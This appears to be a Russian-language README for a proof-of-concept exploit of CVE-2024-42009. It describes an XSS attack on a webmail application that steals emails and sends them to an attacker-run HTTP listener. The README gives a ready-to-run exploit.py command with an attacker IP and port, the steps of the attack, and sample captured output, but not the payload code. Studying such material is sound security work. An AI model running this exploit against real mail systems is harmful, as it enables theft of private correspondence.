CVE-2024-42009 PoC: Демонстрация перехвата писем и XSS-эксплойт

Обзор

Этот Proof of Concept (PoC) демонстрирует эксплойт для CVE-2024-42009, использующий уязвимость межсайтового скриптинга (XSS) для извлечения писем из целевого веб-почтового приложения. Атака внедряет вредоносную нагрузку, которая экфильтрует содержимое писем на подконтрольный злоумышленнику слушатель.

Возможности

• Использует XSS-уязвимость для захвата содержимого писем.
• Применяет HTTP-слушатель для приема и декодирования экфильтрованных писем.
• Автоматизирует внедрение полезной нагрузки и экфильтрацию.

Требования

• Python 3.x
• Необходимые зависимости (установка через pip):
  root@kitploit:~

  pip install requests beautifulsoup4
  

Использование

Запустите скрипт с необходимыми аргументами:

python exploit.py -fu [email protected] -tu [email protected] -u http://target.com/contact -ip YOUR_IP -p 1337

Параметры

Порядок атаки

1. Запуск слушателя: Скрипт запускает HTTP-сервер для захвата извлеченных писем.
2. Внедрение вредоносной нагрузки: XSS-полезная нагрузка отправляется через специально сформированное письмо.
3. Запуск выполнения: Когда жертва открывает письмо, нагрузка выполняется и отправляет содержимое письма на сервер атакующего.
4. Захват и декодирование: Извлеченное содержимое письма декодируется и отображается.

Пример вывода

[*] CVE-2024-42009 PoC: Listening on 192.168.1.100:1337...
[*] Sending payload for UID 1...
[+] Payload sent for UID 1 (Status: 200)

[+] Captured Email Content:
Hello, this is a test email!

Отказ от ответственности

Я не претендую на авторство, владение или раскрытие этой уязвимости и всех соответствующих эксплойтов, размещенных в этом репозитории GitHub — все заслуги принадлежат исследователю, который ее обнаружил; я всего лишь создал POC для воспроизведения уязвимости на основе данных из интернета. Этот PoC предназначен только для образовательных и исследовательских целей. Несанкционированное тестирование систем без согласия незаконно. Используйте ответственно!